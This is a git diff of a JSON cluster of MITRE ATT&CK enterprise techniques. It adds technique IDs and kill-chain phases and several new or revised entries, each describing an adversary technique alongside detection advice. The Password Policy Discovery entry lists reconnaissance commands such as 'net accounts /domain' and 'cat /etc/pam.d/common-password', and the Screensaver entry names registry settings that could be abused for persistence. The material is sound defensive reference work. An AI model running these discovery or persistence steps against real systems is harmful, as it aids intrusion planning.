diff --git a/clusters/mitre-enterprise-attack-attack-pattern.json b/clusters/mitre-enterprise-attack-attack-pattern.json
index c710c4b..39e85a1 100644
--- a/clusters/mitre-enterprise-attack-attack-pattern.json
+++ b/clusters/mitre-enterprise-attack-attack-pattern.json
@@ -2,7 +2,7 @@
"name": "Enterprise Attack - Attack Pattern",
"type": "mitre-enterprise-attack-attack-pattern",
"description": "ATT&CK tactic",
- "version": 3,
+ "version": 4,
"source": "https://github.com/mitre/cti",
"uuid": "fb2242d8-1707-11e8-ab20-6fa7448c3640",
"authors": [
@@ -17,6 +17,10 @@
"https://attack.mitre.org/wiki/Technique/T1048",
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
],
+ "external_id": "T1048",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:exfiltration"
+ ],
"mitre_data_sources": [
"User interface",
"Process monitoring",
@@ -41,6 +45,10 @@
"https://attack.mitre.org/wiki/Technique/T1071",
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
],
+ "external_id": "T1071",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:command-and-control"
+ ],
"mitre_data_sources": [
"Packet capture",
"Netflow/Enclave netflow",
@@ -63,6 +71,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1092"
],
+ "external_id": "T1092",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:command-and-control"
+ ],
"mitre_data_sources": [
"File monitoring",
"Data loss prevention"
@@ -75,6 +87,33 @@
},
"uuid": "64196062-5210-42c3-9a02-563a0d1797ef"
},
+ {
+ "description": "Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information.\n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n\nCommon information repositories:\n\n===Microsoft SharePoint===\nFound in many enterprise networks and often used to store and share significant amounts of documentation.\n\n===Atlassian Confluence===\nOften found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation.\n\nDetection: As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nThe user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) The user user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Application Logs, Authentication logs, Data loss prevention, Third-party application logs\n\nPermissions Required: User\n\nContributors: Milos Stojadinovic",
+ "value": "Data from Information Repositories - T1213",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1213",
+ "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2",
+ "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html"
+ ],
+ "external_id": "T1213",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:collection"
+ ],
+ "mitre_data_sources": [
+ "Application Logs",
+ "Authentication logs",
+ "Data loss prevention",
+ "Third-party application logs"
+ ],
+ "mitre_platforms": [
+ "Linux",
+ "Windows",
+ "macOS"
+ ]
+ },
+ "uuid": "d28ef391-8ed4-45dc-bc4a-2f43abf54416"
+ },
{
"description": "Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension. (Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.exe is located in C:\\Windows\\System32\\ along with screensavers included with base Windows installations. The following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n*SCRNSAVE.exe - set to malicious PE path\n*ScreenSaveActive - set to '1' to enable the screensaver\n*ScreenSaverIsSecure - set to '0' to not require a password to unlock\n*ScreenSaverTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)\n\nDetection: Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\n\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, Process command-line parameters, Windows Registry, File monitoring\n\nPermissions Required: User\n\nContributors: Bartosz Jerzman",
"value": "Screensaver - T1180",
@@ -84,6 +123,10 @@
"https://en.wikipedia.org/wiki/Screensaver",
"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
],
+ "external_id": "T1180",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence"
+ ],
"mitre_data_sources": [
"Process Monitoring",
"Process command-line parameters",
@@ -96,6 +139,31 @@
},
"uuid": "2892b9ee-ca9f-4723-b332-0dc6e843a8ae"
},
+ {
+ "description": "Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through Brute Force. An adversary may attempt to access detailed information about the password policy used within an enterprise network. This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems. (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies)\n\n===Windows===\n* net accounts\n* net accounts /domain\n\n===Linux===\n* chage -l \n* cat /etc/pam.d/common-password\n\n===macOS===\n* pwpolicy getaccountpolicies\n\nDetection: Monitor processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Process command-line parameters, Process Monitoring\n\nPermissions Required: User\n\nContributors: Sudhanshu Chauhan, @Sudhanshu_C",
+ "value": "Password Policy Discovery - T1201",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1201",
+ "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu",
+ "https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines"
+ ],
+ "external_id": "T1201",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:discovery"
+ ],
+ "mitre_data_sources": [
+ "Process command-line parameters",
+ "Process Monitoring"
+ ],
+ "mitre_platforms": [
+ "Linux",
+ "Windows",
+ "macOS"
+ ]
+ },
+ "uuid": "b6075259-dba3-44e9-87c7-e954f37ec0d5"
+ },
{
"description": "Adversaries may communicate using a custom command and control protocol instead of using existing Standard Application Layer Protocol to encapsulate commands. Implementations could mimic well-known protocols.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
"value": "Custom Command and Control Protocol - T1094",
@@ -104,6 +172,10 @@
"https://attack.mitre.org/wiki/Technique/T1094",
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
],
+ "external_id": "T1094",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:command-and-control"
+ ],
"mitre_data_sources": [
"Packet capture",
"Netflow/Enclave netflow",
@@ -127,6 +199,11 @@
"https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/",
"http://seclists.org/fulldisclosure/2015/Dec/34"
],
+ "external_id": "T1044",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence",
+ "mitre-attack:enterprise-attack:privilege-escalation"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process command-line parameters",
@@ -147,6 +224,10 @@
"http://www.autosectools.com/process-hollowing.pdf",
"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
],
+ "external_id": "T1093",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
+ ],
"mitre_data_sources": [
"Process monitoring",
"API monitoring"
@@ -158,7 +239,7 @@
"uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21"
},
{
- "description": "Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. (Citation: Metasploit) (Citation: Metasploit), (Citation: Veil) (Citation: Veil), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)\n\nDetection: Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process monitoring, File monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting",
+ "description": "Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.\n\nScripts can be embedded inside Office documents as macros that can be set to execute when files used in Spearphishing Attachment and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through Exploitation for Client Execution, where adversaries will rely on macos being allowed or that the user will accept to activate them.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. (Citation: Metasploit) (Citation: Metasploit), (Citation: Veil) (Citation: Veil), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)\n\nDetection: Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nAnalyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as word.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process monitoring, File monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting, Data Execution Prevention, Exploit Prevention\n\nPermissions Required: User",
"value": "Scripting - T1064",
"meta": {
"refs": [
@@ -166,7 +247,13 @@
"http://www.metasploit.com",
"https://www.veil-framework.com/framework/",
"https://github.com/mattifestation/PowerSploit",
- "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
+ "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/",
+ "https://www.uperesia.com/analyzing-malicious-office-documents"
+ ],
+ "external_id": "T1064",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:execution"
],
"mitre_data_sources": [
"Process monitoring",
@@ -189,6 +276,11 @@
"https://attack.mitre.org/wiki/Technique/T1155",
"https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/"
],
+ "external_id": "T1155",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:execution",
+ "mitre-attack:enterprise-attack:lateral-movement"
+ ],
"mitre_data_sources": [
"API monitoring",
"System calls",
@@ -208,6 +300,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1025"
],
+ "external_id": "T1025",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:collection"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process monitoring",
@@ -232,6 +328,10 @@
"https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/",
"http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates"
],
+ "external_id": "T1116",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
+ ],
"mitre_data_sources": [
"Binary file metadata"
],
@@ -252,6 +352,11 @@
"https://technet.microsoft.com/en-us/sysinternals/bb963902",
"https://forum.sysinternals.com/appcertdlls%20topic12546.html"
],
+ "external_id": "T1182",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence",
+ "mitre-attack:enterprise-attack:privilege-escalation"
+ ],
"mitre_data_sources": [
"Loaded DLLs",
"Process Monitoring",
@@ -274,6 +379,10 @@
"https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/",
"http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf"
],
+ "external_id": "T1014",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
+ ],
"mitre_data_sources": [
"BIOS",
"MBR",
@@ -298,6 +407,10 @@
"https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf",
"https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
],
+ "external_id": "T1162",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence"
+ ],
"mitre_platforms": [
"macOS"
]
@@ -312,6 +425,10 @@
"https://attack.mitre.org/wiki/Technique/T1059",
"https://en.wikipedia.org/wiki/Command-line%20interface"
],
+ "external_id": "T1059",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:execution"
+ ],
"mitre_data_sources": [
"Process command-line parameters",
"Process monitoring"
@@ -332,6 +449,10 @@
"https://attack.mitre.org/wiki/Technique/T1041",
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
],
+ "external_id": "T1041",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:exfiltration"
+ ],
"mitre_data_sources": [
"User interface",
"Process monitoring"
@@ -344,6 +465,30 @@
},
"uuid": "92d7da27-2d91-488e-a00c-059dc162766d"
},
+ {
+ "description": "An adversary may rely upon specific actions by a user in order to gain execution. This may be direct code execution, such as when a user opens a malicious executable delivered via Spearphishing Attachment with the icon and apparent extension of a document file. It also may lead to other execution techniques, such as when a user clicks on a link delivered via Spearphishing Link that leads to exploitation of a browser or application vulnerability via Exploitation for Client Execution. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it.\n\nDetection: Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to Deobfuscate/Decode Files or Information in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and execuited on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as Exploitation for Client Execution and Scripting.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Anti-virus, Process command-line parameters, Process monitoring\n\nPermissions Required: User",
+ "value": "User Execution - T1204",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1204"
+ ],
+ "external_id": "T1204",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:execution"
+ ],
+ "mitre_data_sources": [
+ "Anti-virus",
+ "Process command-line parameters",
+ "Process monitoring"
+ ],
+ "mitre_platforms": [
+ "Linux",
+ "Windows",
+ "macOS"
+ ]
+ },
+ "uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5"
+ },
{
"description": "Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked.\n\nDetection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Netflow/Enclave netflow, Network device logs, Network protocol analysis, Packet capture, Process use of network\n\nRequires Network: Yes",
"value": "Multi-Stage Channels - T1104",
@@ -351,6 +496,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1104"
],
+ "external_id": "T1104",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:command-and-control"
+ ],
"mitre_data_sources": [
"Netflow/Enclave netflow",
"Network device logs",
@@ -376,6 +525,10 @@
"http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way",
"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
],
+ "external_id": "T1167",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:credential-access"
+ ],
"mitre_data_sources": [
"Process Monitoring"
],
@@ -385,6 +538,33 @@
},
"uuid": "2715c335-1bf2-4efe-9f18-0691317ff83b"
},
+ {
+ "description": "Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.\n\nDetection: Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as Exploitation for Client Execution and Scripting.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: File monitoring, Packet capture, Mail server, Network intrusion detection system, Detonation chamber, Email gateway",
+ "value": "Spearphishing Attachment - T1193",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1193"
+ ],
+ "external_id": "T1193",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:initial-access"
+ ],
+ "mitre_data_sources": [
+ "File monitoring",
+ "Packet capture",
+ "Mail server",
+ "Network intrusion detection system",
+ "Detonation chamber",
+ "Email gateway"
+ ],
+ "mitre_platforms": [
+ "Linux",
+ "Windows",
+ "macOS"
+ ]
+ },
+ "uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38"
+ },
{
"description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow backward compatibility of programs as Windows updates and changes its code. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Engame Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses Hooking to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to Hooking, utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.\n\nDetection: There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any Shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, System calls, Windows Registry, Process Monitoring, Process command-line parameters\n\nPermissions Required: Administrator",
"value": "Application Shimming - T1138",
@@ -394,6 +574,11 @@
"https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf",
"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
],
+ "external_id": "T1138",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence",
+ "mitre-attack:enterprise-attack:privilege-escalation"
+ ],
"mitre_data_sources": [
"Loaded DLLs",
"System calls",
@@ -416,6 +601,11 @@
"http://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/",
"https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"
],
+ "external_id": "T1056",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:collection",
+ "mitre-attack:enterprise-attack:credential-access"
+ ],
"mitre_data_sources": [
"Windows Registry",
"Kernel drivers",
@@ -439,6 +629,11 @@
"https://msdn.microsoft.com/en-us/library/04za0hca.aspx",
"https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx"
],
+ "external_id": "T1121",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:execution"
+ ],
"mitre_data_sources": [
"Process monitoring",
"Process command-line parameters"
@@ -465,6 +660,11 @@
"https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/",
"https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/"
],
+ "external_id": "T1127",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:execution"
+ ],
"mitre_data_sources": [
"Process monitoring"
],
@@ -481,6 +681,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1016"
],
+ "external_id": "T1016",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:discovery"
+ ],
"mitre_data_sources": [
"Process command-line parameters",
"Process monitoring"
@@ -494,7 +698,7 @@
"uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0"
},
{
- "description": "Utilities such as at and schtasks, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. The account used to create the task must be in the Administrators group on the local system. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. (Citation: TechNet Task Scheduler Security)\n\nAn adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.\n\nDetection: Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)\n\n*Event ID 106 - Scheduled task registered\n*Event ID 140 - Scheduled task updated\n*Event ID 141 - Scheduled task removed\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring, Windows event logs\n\nEffective Permissions: Administrator, SYSTEM\n\nPermissions Required: Administrator, SYSTEM\n\nRemote Support: Yes\n\nContributors: Travis Smith, Tripwire, Leo Loobeek, @leoloobeek",
+ "description": "Utilities such as at and schtasks, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the the remote system. (Citation: TechNet Task Scheduler Security)\n\nAn adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.\n\nDetection: Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)\n\n*Event ID 106 - Scheduled task registered\n*Event ID 140 - Scheduled task updated\n*Event ID 141 - Scheduled task removed\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring, Windows event logs\n\nEffective Permissions: Administrator, SYSTEM, User\n\nPermissions Required: Administrator, SYSTEM, User\n\nRemote Support: Yes\n\nContributors: Travis Smith, Tripwire, Leo Loobeek, @leoloobeek, Alain Homewood, Insomnia Security",
"value": "Scheduled Task - T1053",
"meta": {
"refs": [
@@ -505,6 +709,12 @@
"https://technet.microsoft.com/en-us/library/cc785125.aspx",
"https://twitter.com/leoloobeek/status/939248813465853953"
],
